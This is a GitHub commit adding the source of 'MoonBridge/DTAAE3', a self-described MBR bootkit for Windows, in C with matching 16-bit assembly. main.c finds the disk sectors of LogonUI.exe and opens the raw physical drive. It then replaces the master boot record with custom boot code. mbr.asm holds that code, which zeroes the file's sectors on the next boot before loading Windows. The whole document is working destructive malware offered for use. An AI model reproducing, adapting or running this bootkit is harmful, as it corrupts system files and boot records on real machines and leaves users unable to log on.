Skip to content

Commit 370a1d6

Browse files
authored
Main files added
1 parent 63a1221 commit 370a1d6

File tree

3 files changed

+363
-0
lines changed

3 files changed

+363
-0
lines changed

CMakeLists.txt

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
cmake_minimum_required(VERSION 4.0)
2+
project(src C)
3+
4+
set(CMAKE_C_STANDARD 23)
5+
6+
add_executable(src main.c)
7+
8+
set(CMAKE_C_FLAGS -m32)
9+
set(CMAKE_CXX_FLAGS -m32)
10+
11+
set(CMAKE_C_FLAGS -Wno-incompatible-pointer-types)

main.c

Lines changed: 196 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,196 @@
1+
#include <stdint.h> //Used for a few integer variables
2+
#include <stdio.h> //standard library, for C mainly
3+
#include <windows.h> //Used to get access to Windows' APIs
4+
5+
6+
// MoonBridge/DTAAE3 Partial v0.1 ~ Bootkit for modifying files in BIOS computers running Windows
7+
// August 2025
8+
// Gabolate ∑:D
9+
10+
// MIT License
11+
12+
// Copyright (c) 2025 Gabolate
13+
14+
// Permission is hereby granted, free of charge, to any person obtaining a copy
15+
// of this software and associated documentation files (the "Software"), to deal
16+
// in the Software without restriction, including without limitation the rights
17+
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
18+
// copies of the Software, and to permit persons to whom the Software is
19+
// furnished to do so, subject to the following conditions:
20+
21+
// The above copyright notice and this permission notice shall be included in all
22+
// copies or substantial portions of the Software.
23+
24+
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
25+
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
26+
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
27+
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
28+
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
29+
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
30+
// SOFTWARE.
31+
32+
33+
34+
//Used as an example, Windows' Kernel file. which will be corrupted after a restart
35+
LPCWSTR fileToDelete = L"C:\\Windows\\System32\\LogonUI.exe";
36+
37+
//Command Prompt console Handle
38+
HANDLE consoleHandle;
39+
40+
//Custom MBR code that will wipe the file's first bytes and then boot into Windows
41+
char mbr[] = {0x30, 0xE4, 0xB0, 0x13, 0xCD, 0x10, 0xBE, 0x0A, 0x7D, 0xB3, 0x0A, 0xE8, 0x4D, 0x00, 0xBE, 0x2F, 0x7D, 0xB3, 0x09, 0xE8, 0x45, 0x00, 0xB9, 0x00, 0x10, 0xBF, 0x00, 0x7E, 0xE8, 0x31, 0x00, 0xBD, 0xEA, 0x7C, 0xE8, 0x42, 0x00, 0xBD, 0xF2, 0x7C, 0xE8, 0x3C, 0x00, 0xBD, 0xFA, 0x7C, 0xE8, 0x36, 0x00, 0xBD, 0x02, 0x7D, 0xE8, 0x30, 0x00, 0xB4, 0x01, 0x31, 0xC9, 0x31, 0xD2, 0xCD, 0x1A, 0x30, 0xE4, 0xCD, 0x1A, 0x83, 0xFA, 0x52, 0x72, 0xF7, 0x30, 0xE4, 0xB0, 0x13, 0xCD, 0x10, 0xEB, 0x39, 0xC6, 0x05, 0x00, 0x49, 0x47, 0x83, 0xF9, 0x00, 0x75, 0xF6, 0xC3, 0xB4, 0x0E, 0x30, 0xFF, 0xAC, 0xCD, 0x10, 0x3C, 0x00, 0x75, 0xF5, 0xC3, 0x8B, 0x46, 0x00, 0xA3, 0xE2, 0x7C, 0x8B, 0x46, 0x02, 0xA3, 0xE4, 0x7C, 0x8B, 0x46, 0x04, 0xA3, 0xE6, 0x7C, 0x8B, 0x46, 0x06, 0xA3, 0xE8, 0x7C, 0xBE, 0xDA, 0x7C, 0xB4, 0x43, 0xB2, 0x80, 0xCD, 0x13, 0xC3, 0xBD, 0x00, 0x06, 0xC7, 0x46, 0x00, 0xBE, 0x0D, 0xC7, 0x46, 0x02, 0x06, 0xB4, 0xC7, 0x46, 0x04, 0x42, 0xB2, 0xC7, 0x46, 0x06, 0x80, 0xCD, 0xC7, 0x46, 0x08, 0x13, 0x68, 0xC7, 0x46, 0x0A, 0x00, 0x7C, 0xC7, 0x46, 0x0C, 0xC3, 0x10, 0xC7, 0x46, 0x0E, 0x00, 0x01, 0xC7, 0x46, 0x10, 0x00, 0x00, 0xC7, 0x46, 0x12, 0x7C, 0x00, 0xC7, 0x46, 0x14, 0x00, 0x01, 0xC7, 0x46, 0x16, 0x00, 0x00, 0xC7, 0x46, 0x18, 0x00, 0x00, 0xC7, 0x46, 0x1A, 0x00, 0x00, 0xC6, 0x46, 0x1C, 0x00, 0x68, 0x00, 0x06, 0xC3, 0x10, 0x00, 0x08, 0x00, 0x00, 0x7E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x4D, 0x6F, 0x6F, 0x6E, 0x42, 0x72, 0x69, 0x64, 0x67, 0x65, 0x2F, 0x44, 0x54, 0x41, 0x41, 0x45, 0x33, 0x20, 0x4D, 0x42, 0x52, 0x20, 0x4C, 0x6F, 0x61, 0x64, 0x65, 0x72, 0x00, 0x0D, 0x0A, 0x0D, 0x0A, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x42, 0x79, 0x20, 0x47, 0x61, 0x62, 0x6F, 0x6C, 0x61, 0x74, 0x65, 0x20, 0x3B, 0x29, 0x20, 0x41, 0x75, 0x67, 0x75, 0x73, 0x74, 0x20, 0x32, 0x30, 0x32, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA};
42+
//Used to read the original MBR to get the partition table
43+
char ogMbr[512];
44+
45+
//Contains the Custom MBR on the first 512 bytes and Windows' MBR backup in the last 512 bytes
46+
char finalMbr[1024];
47+
48+
void errorHandler()
49+
{
50+
//Color
51+
SetConsoleTextAttribute(consoleHandle, FOREGROUND_RED | FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY | BACKGROUND_RED | BACKGROUND_INTENSITY);
52+
//Get the last error, which can be checked in MS Docs: https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes#system-error-codes
53+
DWORD error = GetLastError();
54+
char textBuf[20]; //Buffer for the error message
55+
sprintf(textBuf, "\n\nError: %d", error); //Copy the number into the buffer
56+
printf(textBuf); //Show the error message
57+
printf("\n Press [ENTER] to exit");
58+
getchar(); //Waits until a key is pressed (or text is written)
59+
ExitProcess(-1); //Exit
60+
}
61+
62+
int main(void) //Main program
63+
{
64+
//Used for console decoration XD
65+
consoleHandle = GetStdHandle(STD_OUTPUT_HANDLE);
66+
//Green text
67+
SetConsoleTextAttribute(consoleHandle, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
68+
69+
printf("MoonBridge/DTAAE3.0 Partial v0.1\n \n");
70+
71+
printf("Press [ENTER] to start working...");
72+
73+
//Wait for enter
74+
getchar();
75+
76+
printf("\n \nGetting the File Handle \n");
77+
78+
//Attempts to create a read-only handle to the file we are going to delete (and in this case, it asumes it exists)
79+
HANDLE fileH;
80+
81+
fileH = CreateFileW(fileToDelete, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
82+
83+
if (fileH == INVALID_HANDLE_VALUE)
84+
{
85+
errorHandler(); //show more information about the error if the handle is invalid
86+
}
87+
88+
printf("Getting the File Cluster Location \n");
89+
STARTING_VCN_INPUT_BUFFER inputBuf; //By default should be 0, for extent/cluster 0 (not always accurate tho)
90+
91+
inputBuf.StartingVcn.QuadPart = 0; //Cluster 0
92+
93+
RETRIEVAL_POINTERS_BUFFER outputBuf; //The buffer used as an output after getting the file extents
94+
95+
LPDWORD dummy; //Dummy variable, used when there's data that we don't need
96+
97+
//Tries to get the file's first cluster (note that if the file is smaller than the cluster size, the function might fail. To be sure, try using files bigger than 4kb)
98+
if (DeviceIoControl(fileH, FSCTL_GET_RETRIEVAL_POINTERS, &inputBuf, sizeof(STARTING_VCN_INPUT_BUFFER), &outputBuf, sizeof(RETRIEVAL_POINTERS_BUFFER), &dummy, NULL) == 0)
99+
{
100+
errorHandler();
101+
}
102+
103+
//Here i use ".QuadPart" because Lcn is a 'LARGE_INTEGER', which has fields for both the high and lower bytes, so QuadPart essentially puts it all together into a 'long long int'
104+
long long int fileCluster = outputBuf.Extents[0].Lcn.QuadPart;
105+
106+
printf("Getting Disk Information \n");
107+
108+
long long sectorsPerCluster;
109+
110+
long long dummy2; //Another dummy variable, but for bigger numbers
111+
112+
//Gets disk information, including the sectors per cluster
113+
if (GetDiskFreeSpaceA("C:\\", &sectorsPerCluster, &dummy, &dummy, &dummy) == 0)
114+
{
115+
errorHandler();
116+
}
117+
118+
//Calculate the real file sector offset by multiplying the amount of sectors per cluster
119+
long long fileClusterSector = sectorsPerCluster * fileCluster;
120+
121+
printf("Trying to get a Disk Handle \n");
122+
HANDLE diskHandle = CreateFileW(L"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_WRITE | FILE_SHARE_READ, NULL, OPEN_EXISTING, 0x80, NULL);
123+
124+
if (diskHandle == INVALID_HANDLE_VALUE)
125+
{
126+
errorHandler();
127+
}
128+
129+
printf("Extracting data from the MBR \n");
130+
131+
//Reads Windows' MBR
132+
if (ReadFile(diskHandle, ogMbr, 512, &dummy, NULL) == 0)
133+
{
134+
errorHandler();
135+
}
136+
137+
//Copy Windows MBR into sector 1
138+
for (int i = 0; i < 512; i++)
139+
{
140+
finalMbr[i + 512] = ogMbr[i];
141+
}
142+
143+
//Copy the Custom MBR to sector 0
144+
for (int i = 0; i < sizeof(mbr); i++)
145+
{
146+
finalMbr[i] = mbr[i];
147+
}
148+
149+
//Copy the Disk ID, and Partition Table into sector 0
150+
for (int i = 435; i < 512; i++)
151+
{
152+
finalMbr[i] = ogMbr[i];
153+
}
154+
155+
long long int *pointerToNewMBR;
156+
pointerToNewMBR = (long long int*)(finalMbr + 234); //Used to send the calculated file sector + partition offset into the Custom MBR, by default entry 0
157+
158+
int32_t *pointerToTable;
159+
pointerToTable = (int32_t*)(finalMbr + 512 + 446 + 8); //Points to the starting offset of the volume on the first entry of the partition table
160+
long long int tmp = 2; //Used to store the partition offset, during each loop it resets to 2 in case the partition isn't active or the file offset is less than 2
161+
//234 = Start offset of the sector list
162+
163+
for (int i = 0; i < 4; i++)
164+
{
165+
tmp = 2; //Default sector to erase
166+
if (finalMbr[446 + 4 + (16 * i)] != 0 && fileClusterSector > 2) //If the entry is unused or, the file sector could not be found (thus, being 0 or a small value) we skip it and choose sector 2 to redirect the write into it
167+
{
168+
tmp = *pointerToTable; //Gets the starting offset of the current partition entry referenced by 'pointerToTable' and stores it in 'tmp'
169+
tmp += fileClusterSector; //Adds the file sector to the partition starting offset
170+
}
171+
172+
*pointerToNewMBR = tmp; //Store the sector offset into the Custom MBR
173+
pointerToNewMBR++; //Continue with the next entry in the Custom MBR (64 bit/8 bytes integer)
174+
pointerToTable += 4; //Each entry is 16 bytes long, so on each loop we add 4 (4 * 4 = 16)
175+
}
176+
177+
printf("Applying changes to the disk \n");
178+
179+
LARGE_INTEGER dummyLarge;
180+
dummyLarge.QuadPart = 0;
181+
dummyLarge.HighPart = 0;
182+
dummyLarge.LowPart = 0;
183+
//Reset the File Pointer so we start on sector 0
184+
SetFilePointerEx(diskHandle, dummyLarge, NULL, 0); //Uses a dummy variable because it asks for the LARGE_INTEGER struct rather than just a long long int
185+
//Write the Custom MBR and the Windows MBR backup
186+
if (WriteFile(diskHandle, finalMbr, 1024, &dummy, NULL) == 0)
187+
{
188+
errorHandler();
189+
}
190+
191+
192+
printf("Done! \n \nPress [ENTER] to exit");
193+
getchar();
194+
return 0; //Exit with error code 0
195+
}
196+

mbr.asm

Lines changed: 156 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,156 @@
1+
[BITS 16] ;16 Bits real mode
2+
[ORG 0x7C00] ; The program starts on memory offset 0x7c00
3+
4+
xor AH, AH ; Function 0 (Start video mode)
5+
mov AL, 0x13 ; Video mode 13 (256 colors iirc)
6+
7+
int 10h ; BIOS Interrupt 0x10 (Video)
8+
9+
mov SI, splashText ; Choose the text
10+
mov BL, 10 ; Light green
11+
call displayText ; Write the "splash screen" text
12+
13+
mov SI, splash2 ; Gabolate ∑:3
14+
mov BL, 9 ; Light blue
15+
call displayText;
16+
17+
mov CX, 4096 ; Possible Cluster size (4KB)
18+
mov DI, 0x7E00 ; Memory to store NULL bytes to clear the file/directory
19+
call clearMem ; Clear that memory space
20+
21+
; Clear the sectors/clusters
22+
mov BP, part0
23+
call sectorsWrite
24+
25+
mov BP, part1
26+
call sectorsWrite
27+
28+
mov BP, part2
29+
call sectorsWrite
30+
31+
mov BP, part3
32+
call sectorsWrite
33+
34+
; Set the system time to 0
35+
mov AH, 01h
36+
xor CX, CX
37+
xor DX, DX
38+
int 01Ah
39+
40+
waitingLoop:
41+
;Get system time
42+
xor AH, AH
43+
int 01Ah
44+
cmp DX, 82 ; 4.5 seconds aprox
45+
jb waitingLoop
46+
xor AH, AH
47+
mov AL, 0x13
48+
int 0x10 ;temporal xd
49+
50+
jmp loadWindows
51+
52+
; CX = Number of bytes to clear
53+
; DI = Memory to clear
54+
clearMem:
55+
mov byte [DI], byte 0 ; Set the memory referenced in DI to NULL (byte 0)
56+
dec CX ; Decrement the counter
57+
inc DI ; Increment the memory pointer
58+
cmp CX, 0 ; Check if the counter reached 0
59+
jne clearMem ; If it didn't, loop
60+
ret ; Return after all the bytes have been written
61+
62+
63+
; SI = String terminated on NULL (0 byte)
64+
; BL = Color
65+
displayText:
66+
mov AH, 0Eh ; Teletype Output
67+
xor BH, BH ; Page 0
68+
lodsb ; Load the byte referenced by SI into AL
69+
int 0x10 ; BIOS Interrupt 0x10 (Video)
70+
cmp AL, 0 ; Check if the current character is NULL (byte 0)
71+
jne displayText ; If it isn't, loop
72+
ret ; Return if AL is 0
73+
74+
75+
; BP = Pointer to the sector quadword (64 bit integer/long)
76+
; AX = Temporal
77+
sectorsWrite:
78+
; Copies the 64 bit (8 bytes) integer in chunks of 16 bits (2 bytes)
79+
mov AX, word [BP]
80+
mov word [lba], AX
81+
82+
mov AX, word [BP + 2]
83+
mov word [lba + 2], AX
84+
85+
mov AX, word [BP + 4]
86+
mov word [lba + 4], AX
87+
88+
mov AX, word [BP + 6]
89+
mov word [lba + 6], AX
90+
91+
; Actual write
92+
mov SI, diskStructure ; Disk Structure Pointer
93+
mov AH, 0x43 ; Write
94+
mov DL, 0x80 ; Disk 0
95+
int 0x13 ; Disk Interrupt
96+
ret ; Return
97+
98+
99+
loadWindows:
100+
mov BP, 0x600 ; The location to write the code that reads Windows' MBR code
101+
; binary code
102+
mov word [BP], word 3518
103+
mov word [BP + 2], word 46086
104+
mov word [BP + 4], word 45634
105+
mov word [BP + 6], word 52608
106+
mov word [BP + 8], word 26643
107+
mov word [BP + 10], word 31744
108+
mov word [BP + 12], word 4291
109+
mov word [BP + 14], word 256
110+
mov word [BP + 16], word 0
111+
mov word [BP + 18], word 124
112+
mov word [BP + 20], word 256
113+
mov word [BP + 22], word 0
114+
mov word [BP + 24], word 0
115+
mov word [BP + 26], word 0
116+
mov byte [BP + 28], byte 0
117+
; Jump to it
118+
push 0x600
119+
ret
120+
121+
;code stored in 0x600
122+
;mov SI, diskStructure2
123+
;mov AH, 0x42
124+
;mov DL, 0x80
125+
;int 0x13
126+
;push 0x7C00
127+
;ret
128+
;diskStructure2:
129+
;db 0x10 ; Size of the structure
130+
;db 0 ; Reserved
131+
;blocksReaded2: dw 1 ; Number of sectors to read
132+
;buf2: dw 0x7C00 ; The buffer to write to
133+
;memPage2: dw 0 ; Memory page
134+
;lba3: dd 1 ; LBA's first bytes
135+
;lba4: dd 0 ; LBA's last bytes
136+
137+
diskStructure:
138+
db 0x10 ; Size of the structure
139+
db 0 ; Reserved
140+
blocksReaded: dw 8 ; Number of sectors to write
141+
buf: dw 0x7E00 ; The buffer to read from
142+
memPage: dw 0 ; Memory page
143+
lba: dd 0 ; LBA's first bytes
144+
lba2: dd 0 ; LBA's last bytes
145+
146+
part0: dq 0xFFFFFFFFFFFFFFFF ; Partition 0
147+
part1: dq 0xFFFFFFFFFFFFFFFF ; Partition 1
148+
part2: dq 0xFFFFFFFFFFFFFFFF ; Partition 2
149+
part3: dq 0xFFFFFFFFFFFFFFFF ; Partition 3
150+
151+
splashText: db 13, 10, " MoonBridge/DTAAE3 MBR Loader", 0
152+
splash2: db 13, 10, 13, 10, 13, 10, " By Gabolate ;) August 2025", 0
153+
154+
times 510 - ($ - $$) db 0 ; Used to fill the remaining space with zeroes
155+
156+
dw 0AA55h ; MBR Signature

0 commit comments

Comments
 (0)